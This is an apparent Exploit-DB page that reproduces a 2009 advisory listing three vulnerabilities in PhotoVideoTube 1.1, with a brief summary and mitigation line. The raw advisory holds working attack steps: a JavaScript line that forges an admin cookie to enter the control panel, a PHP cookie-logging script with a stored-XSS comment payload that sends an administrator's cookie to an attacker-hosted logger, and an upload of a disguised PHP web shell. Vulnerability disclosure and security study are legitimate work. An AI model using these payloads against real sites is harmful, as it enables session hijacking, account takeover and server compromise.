PhotoVideoTube v 1.1 => Multiple Vulnerabilities

vendor:

PhotoVideoTube

by:

Egy Coders Team Researcher

7,5

CVSS

HIGH

Insecure Cookie Handling & Cookie Grabber & Upload Shell

264

CWE

Product Name: PhotoVideoTube

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: photovideotube

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

PhotoVideoTube v 1.1 => Multiple Vulnerabilities

This script has three vulnerabilities: insecure cookie handling, cookie grabber, and upload shell. For insecure cookie handling, a JavaScript code can be used to bypass the control panel. For cookie grabber, a logger.php file can be created and a comment with a JavaScript code can be posted to send the cookie to the logger.txt file. For upload shell, a shell.php.jpg file can be uploaded and then shown.

Mitigation:

Ensure that cookies are properly secured and that user input is properly sanitized.

Source

Exploit-DB raw data:

  ___ ___         __                        
 /   |   \_____  |  | _____  ___ ___________
/    ~    \__  \ |  |/ /\  \/  // __ \_  __ \
\    Y    // __ \|    <  >    <\  ___/|  | \/
 \___|_  /(____  /__|_ \/__/\_ \\___  >__|  
       \/      \/     \/      \/    \/   :: Egy Coders Team Researcher

/- PhotoVideoTube v 1.1 => Multiple Vulnerabilities
/- ( Insecure Cookie Handling & Cookie Grabber & Upload Shell )
/- http://photovideotube.com/
/- see demo script and executing vulnerabilities
/- Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Sinaritx

* hi every body
* this script have a three vulnerabilities the first one
* cookie handling you can bypass control panel
* paste this js code
* javascript:document.cookie="username=admin";
* then go to http://host/path/admin/main.php
* now we are in a control panel

* ok second vulnerability Cookie Grabber
* first make file ( logger.php ) and paste this code in it
            <?php
            $cookie = $_GET['cookie'];
            $logger = fopen("logger.txt", "a");
            fwrite($logger, $cookie ."\n");
            fclose($logger);
            ?>
* and chmod file to 777
* now go to http://host/path/comment_pics.php?imgId=id
* and write this comment
* <script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script>
* and click submit
* now if admin seen this picture cookie will sent to your logger.txt

* third vulnerability
* first make a account
* and go to upload photos http://host/path/upload_pics.php
* and upload shell like shell.php.jpg
* then show shell

* Be Safe

# milw0rm.com [2009-05-22]